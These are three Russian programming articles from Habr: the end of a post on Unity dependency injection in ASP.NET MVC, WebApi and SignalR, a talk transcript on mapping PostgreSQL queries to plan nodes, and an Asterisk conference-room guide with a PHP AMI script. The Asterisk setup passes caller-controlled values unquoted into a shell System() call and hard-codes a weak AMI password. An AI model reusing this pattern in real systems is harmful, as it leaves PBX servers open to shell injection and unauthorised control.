}
return isRegistered ? container.Resolve() : default(T);
}
```
Приведённый выше пример взят из реализации [Unity.MVC3](http://unitymvc3.codeplex.com/). Единственная его проблема в том, что в нашем примере он работать не будет.
> System.ArgumentException: The supplied type IRepository`1 does not have the same number of generic arguments as the target type Repository`1.
Ну ладно, попробуем использовать блок `try/catch`.
```
public static T TryResolve(this IUnityContainer container) {
try {
return container.Resolve();
}
catch (Exception) {
return default(T);
}
}
```
Даже если учесть, что управление потоком выполнения через исключения является плохой практикой, данный метод имеет небольшие проблемы с производительностью.
> **Time comparsion with 100000 iterations.**
>
> 1. Elapsed (Resolve when registered): 00.38940s
> 2. Elapsed (TryResolve when registered): 00.37679s
> 3. Elapsed (TryResolve when does't registered): 00.00393s
> 4. Elapsed (Resolve with IsRegistered when registered): 01.00460s
> 5. Elapsed (Resolve with IsRegistered when does't registered): 00.72297s
> 6. Elapsed (Resolve with Exception when registered): 00.32938s
> 7. Elapsed (Resolve with Exception when does't registered): 05.60332s
>
В первой строке показан результат теста при использовании простого вызова метода `Resolve` без каких-либо проверок. Во второй и третьей — метод `TryResolve`, о котором пойдёт разговор ниже. В четвёртой и пятой — проверка через `IsRegistered()`. В последних двух — с использование блока `try/catch`. Видно, что время выполнения в третьей и седьмой строках различается в 1500 раз. Это, конечно, может быть незаметно в реальном приложении, но, всё равно, не приятно.
В недрах UnityContainer метод `TryResolve` обращается к полю `UnityContainer.registeredNames.registeredKeys` типа ``Dictionary в котором хранятся зарегистрированные типы. Причём, если тип зарегистрирован без имени, то список будет содержать null элемент. Проблема в том, что TryResolve` проверяет наличие регистрации на напрямую, а через кучу посредников, которые несколько раз преобразуют словарь в список, список в словарь, всё это в хитрый `Linq` итератор и только после этого проверяют наличие регистрации типа. Вбрасывая, как я уже упоминал, исключение при проверке регистрации универсального типа, видимо для того, чтобы разработчики сильно не скучали. Для ускорения процесса можно обратиться напрямую к этому полю, что невозможно, так как оно `private` и находится в `internal` классе. Но на помощь всегда могут прийти деревья выражений (expression trees) и отражение (reflection).
```
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq.Expressions;
using System.Reflection;
using Microsoft.Practices.Unity;
namespace CommonInfrastructure {
public static class UnityExtensions {
private static readonly Func>> GetRegisteredKeys;
private static readonly ResolverOverride[] EmptyResolverOverrides = new ResolverOverride[0];
static UnityExtensions() {
// Get information about fileds.
var unityType = typeof (UnityContainer);
var registryType = Type.GetType("Microsoft.Practices.Unity.NamedTypesRegistry, " + unityType.Assembly.FullName);
const BindingFlags flags = BindingFlags.Instance | BindingFlags.NonPublic;
var registeredNamesInfo = unityType.GetField("registeredNames", flags);
var registeredKeysInfo = registryType.GetField("registeredKeys", flags);
// Create and compile expression to accessing the field
// UnityContainer.registeredNames.registeredKeys of type Dictionary>
var unityParam = Expression.Parameter(unityType);
GetRegisteredKeys = Expression
.Lambda>>>(
Expression.Field(
Expression.Field(
unityParam,
registeredNamesInfo),
registeredKeysInfo),
unityParam)
.Compile();
}
....
```
Получаем типы контейнера и `internal` класса `NamedTypesRegistry`, объявленного в той же сборке. Получаем `FieldInfo` для необходимых приватных полей. Собираем и компилируем выражение вида ````
Func> GetRegisteredKeys = container => container.registeredNames.registeredKeys;.
....
///
/// Try to resolve an instance of requested type without name.
/// If type is interface or abstract class and it is't registered then return null.
///
public static T TryResolve(this IUnityContainer container) where T : class {
return (T) TryResolve(container, typeof (T));
}
///
/// Try to resolve an instance of requested without name.
/// If type is interface or abstract class and it is't registered then return null.
///
public static object TryResolve(this IUnityContainer container, Type type) {
bool resolve;
if (type.IsInterface || type.IsAbstract) {
// Get the dictionary with registered types and names.
var keys = GetRegisteredKeys((UnityContainer) container);
// Check if interface or abstract type is registered in the container.
resolve = IsRegistered(type, keys);
// If type still is't registered and it's generic type then check if generic type definition is registered.
if (!resolve && type.IsGenericType) {
var openGenericType = type.GetGenericTypeDefinition();
resolve = IsRegistered(openGenericType, keys);
}
}
else {
// If type can be created then resolve it immediately.
resolve = true;
}
// If type is registered then resolve it or return null if nothing was found.
return resolve ? container.Resolve(type, null, EmptyResolverOverrides) : null;
}
private static bool IsRegistered(Type type, Dictionary> keys) {
List names;
if (keys.TryGetValue(type, out names)) {
// By default type without name is registered with null string.
if (names.Exists(name => ReferenceEquals(name, null))) {
return true;
}
}
return false;
}
}
}
```
При необходимости проверить тип на регистрацию, получаем ссылку на словарь и проверяем, есть ли в нём нужный нам тип с пустым именем. Если тип не является интерфейсом, или абстрактным классом, то разрешаем его сразу же.
Можно, конечно, написать расширение для UnityContainer и проверять регистрацию через него как это сделано, к примеру, в этой статье: [Test if classes are registered in unity](http://blogs.msdn.com/b/erwinvandervalk/archive/2009/02/13/test-if-classes-are-registered-in-unity.aspx). Но, в нашем случае, можно вообще отказаться от этой проверки.
##### Использование активаторов
ASP.NET MVC, WebApi и SignalR для создания контроллеров и хабов используют реализации интерфейсов `I*Activator`. В ASP.NET MVC это `System.Web.Mvc.IControllerActivator`, в WebApi это `System.Web.Http.Dispatcher.IHttpControllerActivator`, в SignalR это `Microsoft.AspNet.SignalR.Hubs.IHubActivator`. Все они содержат единственный метод `Create`, параметрами у которого являются тип создаваемого класса и некоторая информация о контексте. Остаётся только написать базовые реализации этих интерфейсов и зарегистрировать их в необходимых инфраструктурах.
**ASP.NET MVC**
```
using System;
using System.Diagnostics;
using System.Web.Mvc;
using System.Web.Routing;
using Microsoft.Practices.Unity;
namespace WebApp.Infrastructure {
public sealed class UnityControllerActivator : IControllerActivator {
private readonly IUnityContainer _container;
public UnityControllerActivator(IUnityContainer container) {
_container = container;
}
public IController Create(RequestContext requestContext, Type controllerType) {
return (IController) _container.Resolve(controllerType);
}
}
}
```
**WebApi**
```
using System;
using System.Diagnostics;
using System.Net.Http;
using System.Web.Http.Controllers;
using System.Web.Http.Dispatcher;
using Microsoft.Practices.Unity;
namespace WebApp.Infrastructure {
public sealed class UnityHttpControllerActivator : IHttpControllerActivator {
private readonly IUnityContainer _container;
public UnityHttpControllerActivator(IUnityContainer container) {
_container = container;
}
public IHttpController Create(HttpRequestMessage request, HttpControllerDescriptor controllerDescriptor, Type controllerType) {
return (IHttpController) _container.Resolve(controllerType);
}
}
}
```
**SignalR**
```
using System.Diagnostics;
using Microsoft.AspNet.SignalR.Hubs;
using Microsoft.Practices.Unity;
namespace WebApp.Infrastructure {
public sealed class UnityHubActivator : IHubActivator {
private readonly IUnityContainer _container;
public UnityHubActivator(IUnityContainer container) {
Debug.Assert(container != null, "container == null");
_container = container;
}
public IHub Create(HubDescriptor descriptor) {
var hubType = descriptor.HubType;
return hubType != null ? _container.Resolve(hubType) as IHub : null;
}
}
}
```
Зарегистрируем активаторы в инфраструктуре.
```
using System.Web.Http;
using System.Web.Http.Dispatcher;
using System.Web.Mvc;
using Microsoft.AspNet.SignalR;
using Microsoft.AspNet.SignalR.Hubs;
using Microsoft.Practices.Unity;
using WebApp.Infrastructure;
using WebApp.Models;
namespace WebApp.App_Start {
public static class ContainerConfig {
public static void Config() {
var container = new UnityContainer();
MapTypes(container);
// Set resolver to MVC.
var controllerActivator = new UnityControllerActivator(container);
ControllerBuilder.Current.SetControllerFactory(new DefaultControllerFactory(controllerActivator));
// Set resolver to WebApi.
var httpControllerActivator = new UnityHttpControllerActivator(container);
GlobalConfiguration.Configuration.Services.Replace(typeof (IHttpControllerActivator), httpControllerActivator);
// Set resolver to SignalR.
var hubActivator = new UnityHubActivator(container);
GlobalHost.DependencyResolver.Register(typeof (IHubActivator), () => hubActivator);
}
private static void MapTypes(IUnityContainer container) {
container.RegisterType(typeof(IRepository<>), typeof(Repository<>));
}
}
}
```
И вызовем всё это во время запуска приложения, к примеру, в `Global.asax`. Не забудем, что SignalR должен быть сконфигурирован перед всем остальным.
```
using System.Web;
using System.Web.Http;
using System.Web.Mvc;
using System.Web.Optimization;
using System.Web.Routing;
using WebApp.App_Start;
namespace WebApp {
public class MvcApplication : HttpApplication {
protected void Application_Start() {
ContainerConfig.Config();
SignalRConfig.Config(RouteTable.Routes);
AreaRegistration.RegisterAllAreas();
WebApiConfig.Config(GlobalConfiguration.Configuration);
FilterConfig.Config(GlobalFilters.Filters);
RouteConfig.Config(RouteTable.Routes);
BundleConfig.Config(BundleTable.Bundles);
AuthConfig.Config();
}
}
}
```
Теперь можно переходить к реализации контроллеров и хабов.
#### Практика
Для примера создадим небольшое одностраничное приложение, единственной задачей которого будет вывод информации из репозитория различными путями. Реализация репозитория будет очень простой, при вызове `GetData()` будем получать несколько строк данных, по которым можно опознать, из какого репозитория они были получены. Также, он должен быть корректно уничтожен после окончания запроса.
```
public sealed class Repository : IRepository {
public IEnumerable GetData() {
for (int i = 0; i < 10; i++) {
yield return string.Format("Data {0} of type {1}", i, typeof (T));
}
}
public void Dispose() {
Debug.WriteLine("Repository<{0}>.Dispose", typeof (T));
}
}
```
Создадим контроллеры для ASP.NET MVC и WebApi и поместим их в папку Controllers, чтобы не нарушать конвенции. Хочу заметить, что к классам контроллеров применены атрибуты `System.Web.Mvc.AuthorizeAttribute` и `System.Web.Http.AuthorizeAttribute` для предотвращения доступа неавторизованным пользователям. Приложение создавалось на базе шаблона ASP.NET MVC 4 Web Application - Single Page Application, так что вся необходимая инфраструктура, необходимая для регистрации на основе ролей там уже присутствует.
**ASP.NET MVC**
```
using System.Web.Mvc;
using WebApp.Models;
namespace WebApp.Controllers {
[Authorize]
public sealed class DataController : Controller {
private readonly IRepository \_repository;
public DataController(IRepository repository) {
\_repository = repository;
}
// GET: /Data/
public ActionResult Index() {
ViewBag.Title = "Data from DataController";
var data = \_repository.GetData();
return View(data);
}
protected override void Dispose(bool disposing) {
\_repository.Dispose();
base.Dispose(disposing);
}
}
}
```
**WebApi**
```
using System.Collections.Generic;
using System.Web.Http;
using WebApp.Filters;
using WebApp.Models;
namespace WebApp.Controllers {
[Authorize]
[ValidateHttpAntiForgeryToken]
public sealed class DataWebApiController : ApiController {
private readonly IRepository \_repository;
public DataWebApiController(IRepository repository) {
\_repository = repository;
}
// GET /api/DataWebApi/
public IEnumerable GetData() {
return \_repository.GetData();
}
protected override void Dispose(bool disposing) {
\_repository.Dispose();
base.Dispose(disposing);
}
}
}
```
В папке Hubs создадим хаб с аналогичной функциональностью. Его тоже пометим атрибутом `Microsoft.AspNet.SignalR.AuthorizeAttribute`.
**SignalR**
```
using System.Collections.Generic;
using Microsoft.AspNet.SignalR;
using WebApp.Models;
namespace WebApp.Hubs {
[Authorize]
public sealed class DataHub : Hub {
private readonly IRepository \_repository;
public DataHub(IRepository repository) {
\_repository = repository;
}
public IEnumerable GetData() {
return \_repository.GetData();
}
protected override void Dispose(bool disposing) {
\_repository.Dispose();
base.Dispose(disposing);
}
}
}
```
Во всех случаях мы получаем экземпляр репозитория через конструктор. Так как мы зарегистрировали необходимые активаторы, то при создании хаба или контроллера мы получим необходимый закрытый тип обобщённого репозитория.
Приложение я решил написать на TypeScript. Для его корректной работы необходим плагин [TypeScript for Visual Studio 2012](http://www.microsoft.com/en-us/download/details.aspx?id=34790), а также [Web Essentials 2012](http://vswebessentials.com/). Все скрипты, относящиеся к приложению, будут находиться в папке `Scripts/app`. Также понадобятся следующие NuGet пакеты: [Twitter.Bootstrap](http://twitter.github.com/bootstrap/), [RequireJs](http://requirejs.org/), [KnockoutJs](http://knockoutjs.com/index.html), [jQuery](http://jquery.com/), [SignalR](https://github.com/SignalR), а также [TypeScript Definitions](http://nuget.org/packages?q=TypeScript.DefinitelyTyped) для них. Последние являются описаниями интерфейсов библиотек для TypeScript. Если у вас стоит ReSharper, то он может подло скрыть пункты меню с рефакторингами для TypeScript, для предотвращения этого, снимем галку с пункта "Hide overridden Visual Studio menu items" в его настройках. Создадим модель представления для приложения и экспортируем её в AMD формате.
**/scripts/app/app.ts**
```
///
///
///
/**
* Helper method to creating ajax requests with anti firgery token.
* @param type Request type: get, post, delete, put.
* @param url A string containing the URL to which the request is sent.
* @param data Data to be sent to the server. Before sending serializes to Json format.
* @param dataType The type of data that you're expecting back from the server. Default is Json.
*/
function ajaxRequest(type: string, url: string, data?: any, dataType: string = "json") {
var headers = {};
var antiForgeryToken = $("#antiForgeryToken").val();
if (antiForgeryToken) {
headers = {
'RequestVerificationToken': antiForgeryToken
}
}
return $.ajax(url, {
headers: headers,
dataType: dataType,
contentType: "application/json",
cache: false,
type: type,
data: data ? data.toJson() : null
});
}
interface IDataHub {
client: {};
server: {
getData(): JQueryDeferred;
};
}
export class AppViewModel {
private dataHub: IDataHub;
/** If error occurred this field should contain error message. Otherwise it's empty string. */
errorMessage = ko.observable("");
/** Displays optional text. */
text = ko.observable("");
/** Data received from server. */
data = ko.observableArray([]);
/** Create ViewModel and connect to hubs. */
constructor() {
this.dataHub = $.connection["dataHub"];
$.connection.hub
.start()
.fail(e => this.onFail(e));
}
/** Receive data from SignalR hub. */
signalrBtnClick() {
this.text("SignalR");
this.dataHub.server
.getData()
.done(d => this.showData(d))
.fail(e => this.onFail(e));
}
/** Receive data from WebApi controller. */
apiBtnClick() {
this.text("WebApi");
ajaxRequest("get", "/api/dataWebApi")
.done(d => this.showData(d))
.fail(e => this.onFail(e));
}
/** Receive data from static page controller. */
staticBtnClick() {
ajaxRequest("get", "/Data", null, "html")
.done(data => {
this.data([]);
this.errorMessage("");
this.text(data);
})
.fail(e => this.onFail(e));
}
private onFail(error: string) {
this.text("Error!");
this.data([]);
this.errorMessage(error);
}
private showData(data: string[]) {
this.data(data);
this.errorMessage("");
}
}
```
В данной модели представления, в момент её создания, устанавливается соединение с хабом `DataHub`. Далее, в ответ на вызов методов `*BtnClick`, мы получаем данные с сервера и отображаем в представлении с помощью привязок.
```
SignalR
WebApi
Static page
1.
```
Для работы всего этого добра, подключим где-нибудь вышеуказанные скрипты, кроме `require.js` и файла модели представления. Для доступа к хабам на сервере, необходимо подключить генерируемый во время выполнения скрипт `~/signalr/hubs`. Инициализация биндингов будет происходить в файле `init.ts`, который будет загружен RequireJs автоматически. Для предотвращения кэширования скриптов на время разработки, сконфигурируем RequireJs перед его загрузкой.
```
var require = {
waitSeconds: 15,
urlArgs: "bust=" + new Date().getTime()
};
```
В `init.ts` импортируем модуль с моделью представления и применим необходимые привязки. Для импорта и экспорта модулей в TypeScript необходимо выставить "Use the AMD module" в true в настройках "Tools"-"Options"-"Web Essentials"-"TypeScript"-"Compiler flags".
**/scripts/app/init.ts**
```
import app = module("app");
$(() => {
ko.applyBindings(new app.AppViewModel());
});
```
Ключевое слово `export` помечает класс, функцию, или переменную как экспортируемую. Импорт производится с помощью ключевых слов `import` и `module`, после чего можно получить доступ к экспортированным членам в импортированном модуле. В итоге получим нечто вроде этого.
#### Заключение
Как было показано выше, единообразное применение контейнера внедрения зависимостей в ASP.NET приложении возможно и не представляет особых трудностей. Это особенно актуально в одностраничных приложениях, где иногда бывает необходимо для разных целей использовать разные технологии, наиболее для них подходящие. TypeScript отлично себя показывает при разработке подобных приложений, особенно в свете недавнего появления в NuGet пакетов с TypeScript Definitions. Каталог рефакторингов, правда, заканчивается на функции переименования, но JetBrains [обещают](http://blogs.jetbrains.com/dotnet/2013/03/introducing-the-resharper-8-eap/) поддержку TypeScript уже в ReSharper уже в ближайшем будущем. SignalR является очень крутой штукой. Учитывая то, что WebSockets отказывается работать под Windows7, использование технологии, которая работает везде и сама выберет наиболее оптимальный способ передачи данных, может очень сильно помочь при разработке.`` | https://habr.com/ru/post/175161/ | null | ru | null |
# PostgreSQL Query Profiler: как сопоставить план и запрос
Многие, кто уже пользуется [**explain.tensor.ru**](https://explain.tensor.ru/) — нашим сервисом визуализации планов PostgreSQL, возможно, не в курсе одной из его суперсособностей — превращать сложно читаемый кусок лога сервера…
… в красиво оформленный запрос с контекстными подсказками по соответствующим узлам плана:
В этой расшифровке второй части своего [доклада на PGConf.Russia 2020](https://pgconf.ru/2020/262963) я расскажу, как нам удалось это сделать.
> С транскриптом первой части, посвященной типовым проблемам производительности запросов и их решениям, можно ознакомиться в статье [«Рецепты для хворающих SQL-запросов»](https://habr.com/ru/post/492694/).
Сначала займемся раскраской — и раскрашивать будем уже не план, его мы уже разукрасили, он у нас уже красивый и понятный, а запрос.
Нам показалось, что вот так неформатированной «простыней» вытащенный из лога запрос выглядит очень уж некрасиво и потому — неудобно.
Особенно, когда разработчики в коде «клеят» тело запроса (это, конечно, антипаттерн, но бывает) в одну строку. Жуть!
Давайте это нарисуем как-то более красиво.
А если мы сможем это нарисовать красиво, то есть разобрать и собрать обратно тело запроса, то потом сможем и к каждому объекту этого запроса «прицепить» подсказку — что происходило в соответствующей точке плана.
Синтаксическое дерево запроса
-----------------------------
Чтобы это сделать, запрос сначала нужно разобрать.
Поскольку, у нас [ядро системы работает на NodeJS](https://habr.com/ru/post/516384/), то мы сделали к нему модулек, можете [на GitHub его найти](https://github.com/MGorkov/node-pgparser). На самом деле, это является расширенными «биндингами» к внутренностям парсера самого PostgreSQL. То есть просто бинарно скомпилирована грамматика и к ней сделаны биндинги со стороны NodeJS. Мы взяли за основу чужие модули — тут тайны никакой большой нет.
Скармливаем тело запроса на вход нашей функции — на выходе получаем разобранное синтаксическое дерево в виде JSON-объекта.
Теперь по этому дереву можно пробежаться в обратную сторону и собрать запрос с теми отступами, раскраской, форматированием, которое нам хочется. Нет, это не настраивается, но нам показалось, что именно так будет удобно.
Сопоставление узлов запроса и плана
-----------------------------------
Теперь посмотрим, как можно совместить план, который мы разобрали на первом шаге, и запрос, который разобрали на втором.
Давайте возьмем простой пример — у нас есть запрос, который формирует CTE и два раза из нее читает. Он генерирует такой план.
#### CTE
Если на него внимательно посмотреть, что до 12-й версии (или начиная с нее с ключевым словом `MATERIALIZED`) формирование [CTE является безусловным барьером для планировщика](https://paquier.xyz/postgresql-2/postgres-12-with-materialize/).
А, значит, если мы видим где-то в запросе генерацию CTE и где-то в плане узел `**CTE**`, то эти узлы однозначно между собой «бьются», мы можем сразу же их совместить.
**Задача «со звездочкой»**: CTE бывают вложенные.
Бывают очень плохо вложенные, и даже одноименные. Например, вы можете внутри `CTE A` сделать `CTE X`, и на том же уровне внутри `CTE B` сделать опять `CTE X`:
```
WITH A AS (
WITH X AS (...)
SELECT ...
)
, B AS (
WITH X AS (...)
SELECT ...
)
...
```
При сопоставлении вы должны это понимать. Понимать это «глазами» — даже видя план, даже видя тело запроса — очень тяжело. Если у вас генерация CTE сложная, вложенная, запросы большие — тогда и вовсе неосознаваемо.
#### UNION
Если у нас в запросе есть ключевое слово `UNION [ALL]` (оператор соединения двух выборок), то ему в плане соответствует либо узел `**Append**`, либо какой-нибудь `**Recursive Union**`.
То, что «сверху» над `UNION` — это первый потомок нашего узла, что «снизу» — второй. Если через `UNION` у нас «поклеено» несколько блоков сразу, то `Append`-узел все равно будет только один, а вот детей у него будет не два, а много — по порядку как они идут, соответственно:
```
(...) -- #1
UNION ALL
(...) -- #2
UNION ALL
(...) -- #3
```
```
Append
-> ... #1
-> ... #2
-> ... #3
```
**Задача «со звездочкой»**: внутри генерации рекурсивной выборки (`WITH RECURSIVE`) тоже может быть больше одного `UNION`. Но всегда рекурсивным является только самый последний блок после последнего `UNION`. Все, что выше — это один, но другой `UNION`:
```
WITH RECURSIVE T AS(
(...) -- #1
UNION ALL
(...) -- #2, тут кончается генерация стартового состояния рекурсии
UNION ALL
(...) -- #3, только этот блок рекурсивный и может содержать обращение к T
)
...
```
Такие примеры тоже надо уметь «расклеивать». Вот в этом примере мы видим, что `UNION`-сегментов в нашем запросе было 3 штуки. Соответственно, одному `UNION` соответствует `Append`-узел, а другому — `Recursive Union`.
#### Чтение-запись данных
Все, разложили, теперь мы знаем, какой кусочек запроса какому кусочку плана соответствует. И в этих кусочках мы можем легко и непринужденно найти те объекты, которые «читаются».
С точки зрения запроса мы не знаем — таблица это или CTE, но обозначаются они одинаковым узлом `**RangeVar**`. А в плане «читается» — это тоже достаточно ограниченный набор узлов:
* `**Seq Scan** on [tbl]`
* `**Bitmap Heap Scan** on [tbl]`
* `**Index [Only] Scan [Backward]** using [idx] on [tbl]`
* `**CTE Scan** on [cte]`
* `**Insert**/**Update**/**Delete** on [tbl]`
Структуру плана и запроса мы знаем, соответствие блоков знаем, имена объектов знаем — делаем однозначное сопоставление.
Опять-таки **задача «со звездочкой»**. Берем запрос, выполняем, у нас никаких алиасов нет — мы просто два раза из одной CTE почитали.
Смотрим в план — что за беда? Почему у нас алиас вылез? Мы его не заказывали. Откуда он такой «номерной»?
PostgreSQL сам его добавляет. Надо просто понимать, что **именно такой алиас** для нас для целей сопоставления с планом никакого смысла не несет, он просто здесь добавлен. Не будем на него обращать внимания.
Вторая **задача «со звездочкой»**: если у нас идет чтение из секционированной таблицы, то мы получим узел `**Append**` или `**Merge Append**`, который будет состоять из большого количества «детей», и каждый из которых будет каким-то `Scan`'ом из таблицы-секции: `Seq Scan`, `Bitmap Heap Scan` или `Index Scan`. Но, в любом случае, эти «дети» будут не сложными запросами — так эти узлы и можно отличать от `Append` при `UNION`.
Такие узлы мы тоже понимаем, собираем «в одну кучку» и говорим: "*все, что ты читал из megatable — это вот тут и вниз по дереву*".
#### «Простые» узлы получения данных
`**Values Scan**` в плане соответствует `VALUES` в запросе.
`**Result**` — это запрос без `FROM` вроде `SELECT 1`. Или когда у вас заведомо ложное выражение в `WHERE`-блоке (тогда возникает атрибут `One-Time Filter`):
```
EXPLAIN ANALYZE
SELECT * FROM pg_class WHERE FALSE; -- или 0 = 1
```
```
Result (cost=0.00..0.00 rows=0 width=230) (actual time=0.000..0.000 rows=0 loops=1)
One-Time Filter: false
```
`**Function Scan**` «мапятся» на одноименные SRF.
А вот с вложенными запросами все сложнее — к сожалению, они не всегда превращаются в `**InitPlan**`/`**SubPlan**`. Иногда они превращаются в `... Join` или `... Anti Join`, особенно когда вы пишете что-то вроде `WHERE NOT EXISTS ...`. И вот там совмещать не всегда получается — в тексте плана соответствующих узлам плана операторов нет.
Опять-таки **задача «со звездочкой»**: несколько `VALUES` в запросе. В этом случае и в плане вы получите несколько узлов `Values Scan`.
Отличить их один от другого помогут «номерные» суффиксы — он добавляется именно в порядке нахождения соответствующих `VALUES`-блоков по ходу запроса сверху вниз.
#### Обработка данных
Вроде все в нашем запросе разобрали — остался только `Limit`.
Но тут все просто — такие узлы как `**Limit**`, `**Sort**`, `**Aggregate**`, `**WindowAgg**`, `**Unique**` «мапятся» один-в-один на соответствующие операторы в запросе, если они там есть. Тут никаких «звездочек» и сложностей нет.
#### JOIN
Сложности возникают, когда мы хотим совместить `JOIN` между собой. Это сделать не всегда, но можно.
С точки зрения парсера запроса, у нас есть узел `**JoinExpr**`, у которого ровно два потомка — левый и правый. Это, соответственно, то что «над» вашим JOIN и то что «под» ним в запросе написано.
А с точки зрения плана это два потомка у какого-то `**\* Loop**`/`**\* Join**`-узла. `Nested Loop`, `Hash Anti Join`,… — вот что-то такое.
Воспользуемся простой логикой: если у нас есть таблички A и B, которые «джойнятся» между собой в плане, то в запросе они могли быть расположены либо `A-JOIN-B`, либо `B-JOIN-A`. Попробуем совместить так, попробуем совместить наоборот, и так пока такие пары не кончатся.
Возьмем наше синтаксическое дерево, возьмем наш план, посмотрим на них… непохоже!
Перерисуем в виде графов — о, уже стало что-то на что-то похоже!
Давайте обратим внимание, что у нас есть узлы, у которых одновременно есть дети B и C — нам неважно в каком порядке. Совместим их и перевернем картинку узла.
Посмотрим еще раз. Теперь у нас есть узлы с детьми A и пары (B + C) — совместим и их.
Отлично! Получается, что мы эти два `JOIN` из запроса с узлами плана удачно совместили.
Увы, эта задача решается не всегда.
Например, если в запросе `A JOIN B JOIN C`, а в плане в первую очередь соединились «крайние» узлы A и C. А в запросе нет такого оператора, нам нечего подсветить, не к чему привязать подсказку. То же самое с «запятой», когда вы пишете `A, B`.
Но, в большинстве случаев, почти все узлы удается «развязать» и получить вот такой профайлинг слева по времени — буквально, как в Google Chrome, когда вы код на JavaScript анализируете. Вы видите сколько времени каждая строка и каждый оператор «выполнялись».
А чтобы вам всем этим было удобнее пользоваться, мы сделали хранение [архива](https://explain.tensor.ru/archive/), где вы можете сохранить и потом найти свои планы вместе с ассоциированными запросами или с кем-то поделиться ссылкой.
Если же вам надо просто привести нечитаемый запрос в адекватный вид, воспользуйтесь [нашим «нормализатором»](https://explain.tensor.ru/beautifier/).
 | https://habr.com/ru/post/517652/ | null | ru | null |
# Конференц-комнаты на базе Asterisk
### Предисловие
Добрый день.
На написание данной статьи меня сподвигло 2 вещи: малое количество или вовсе отсутствие современных рабочих примеров по «фишкам» Asterisk, а так же нежелание специалистов делиться этими самыми «фишками» с остальными. Это я сейчас про РУ-комьюнити. Всякие «Деды» на форумах скорее обольют тебя помоями и отправят читать книжки десятилетней давности, чем дадут мало мальски полезную информацию. Сами же темы форумов, созданные в 2005-2010 годах, сильно устарели и иногда что то уже выпилено из текущей версии астериска, а что то надо очень сильно переделать, чтобы заработало.
Так вот.
В следствие отказа от CUCM в пользу Астериска, руководством была поставлена задача сохранить особо популярные у пользователей сервисы в максимально первозданном виде, дабы не третировать людей. Одним из таких было и создание конференций. К тому моменту с Астериском я уже был знаком, но не столь глубоко, по этому на перебор всевозможных вариантов конференции у меня ушло около полутора недель, а на окончательное решение натолкнула вообще другая задача.
Проблема заключается в том, что из похожего на решение есть [статья](https://www.voip-info.org/asterisk-n-way-call-howto) с устаревшей meetme, а так же какой то [монстр](https://voxlink.ru/kb/asterisk-configuration/call_Asterisk_ConfBridge/), которого у меня так и не удалось заставить работать. Я же предлагаю кое что не настолько громоздкое.
### Мякотка
Описывать что такое confbridge, за что отвечают секции в том или ином конфиге и что это за опция такая, я не буду, эта информация как раз имеется и актуальна. Сейчас про решение в целом.
Задача: сделать так, чтобы конференцию можно было создать во время разговора, а затем пригласить туда еще абонентов. Основная проблема, что функция channelredirect работает не так как хотелось бы. То есть если выполнять ее из диалплана во время разговора, то один из каналов улетит куда надо, а второй разрушится, а лазать по всему диалплану на 2к строк и прописывать на Dial'ах опцию g было лениво. И мне совершенно не понятно, почему в большинстве мануалов все пытаются решить задачу только через диалплан, игнорируя возможность астериска работать с внешними скриптами и ami.
Итак. Астериск 14.4.0
Скрипт конференции на 2 варианта(c комментариями):
**conference.php**
```
php
//Готовим коннект к астеру
$host = "192.168.1.1";
$port = "5038";
$timeout = "10";
$user = "conference";
$pass = "1111";
//для того, чтобы не разбивать 1 задачу на 2 скрипта
$kusok = $argv[1];
//Кусок для создания конференции во время разговора
if ($kusok == 1){
//Получаем переменные
$channel = $argv[2];
$bridgepeer = $argv[3];
$confnum = $argv[4];
print_r($bridgepeer);
print_r($confnum);
//Коннект
$sconn = fsockopen ($host, $port, $timeout) or die ("Connection to $host:$port failed!");
fputs ($sconn, "Action: Login\r\n");
fputs ($sconn, "Username: $user\r\n");
fputs ($sconn, "Secret: $pass\r\n\r\n");
//Задаем переменные канала
fputs ($sconn, "Action: Setvar\r\n");
fputs ($sconn, "Channel: $channel\r\n");
fputs ($sconn, "Variable: CONFNUM\r\n");
fputs ($sconn, "Value: $confnum\r\n\r\n");
fputs ($sconn, "Action: Setvar\r\n");
fputs ($sconn, "Channel: $bridgepeer\r\n");
fputs ($sconn, "Variable: CONFNUM\r\n");
fputs ($sconn, "Value: $confnum\r\n\r\n");
//Редиректим
fputs ($sconn, "Action: Redirect\r\n");
fputs ($sconn, "Channel: $bridgepeer\r\n");
fputs ($sconn, "ExtraChannel: $channel\r\n");
fputs ($sconn, "Context: service_code-ael\r\n");
fputs ($sconn, "Exten: conference\r\n");
fputs ($sconn, "Priority: 1\r\n\r\n");
fputs($sconn, "Action: Logoff\r\n\r\n");
sleep(2);
fclose ($sconn);
}
//Кусок для добавления нового участника
if ($kusok == 2) {
//Получаем переменные
$confnum = $argv[2];
$inviten = $argv[3];
$sconn = fsockopen ($host, $port, $errno, $errstr, $timeout) or die ("Connection to $host:$port failed!");
//Подключаемся
fputs ($sconn, "Action: Login\r\n");
fputs ($sconn, "Username: $user\r\n");
fputs ($sconn, "Secret: $pass\r\n\r\n");
//Звоним и закидываем в конфу
fputs ($sconn, "Action: Originate\r\n");
fputs ($sconn, "Channel: Local/".$inviten."@out-ael\r\n");
fputs ($sconn, "Context: service_code-ael\r\n");
fputs ($sconn, "Exten: conference\r\n");
fputs ($sconn, "Priority: 1\r\n");
fputs ($sconn, "Variable: CONFNUM=".$confnum."\r\n\r\n");
fputs($sconn, "Action: Logoff\r\n\r\n");
sleep(2);
fclose ($sconn);
}
}
</code
```
Гуру программирования могут исправить код, сделав из него конфетку, я писал как умел.
Далее начинаем использовать данный скрипт непосредственно в самом Астериске.
Для того, чтобы создать конференцию, я выбрал комбинацию \*1. Коротко и не пересекается с основной нумерацией.
Добавляем в features.conf вызов скрипта с передачей в него требуемых переменных
```
[applicationmap]
conference => *1,self,System(/usr/bin/php /home/script/conference.php 1 ${CHANNEL} ${BRIDGEPEER} ${CALLERID(num)})
```
Затем, чтобы это срабатывало, создаем в диалплане в секции [globals] переменную и добавляем нашу фичу
```
DYNAMIC_FEATURES=conference
```
Для добавления в уже созданную конференцию новых участников, потребуется прописать код в confbridge.conf
```
[default_menu]
type = menu
*1=dialplan_exec(service_code-ael,conference_add,1)
```
Ну а теперь самое вкусное, extensions.ael:
Для создание конференции (сюда адресует php скрипт оба разговорных канала):
```
conference => {
ConfBridge(${CONFNUM},,,default_menu);
}
```
Для добавления нового пользователя (сюда адресует dialplan\_exec):
```
conference_add => {
Read(INVITEN,dial,11,i);
System(/usr/bin/php /home/script/conference.php 2 ${CALLERID(num)} ${INVITEN});
}
```
Все. Никаких килотонн кода в диалплане. Все емко. \*1 в разговоре и вы в конфе, еще раз \*1 гудок и набор номера, кого добавить.
### Наросты
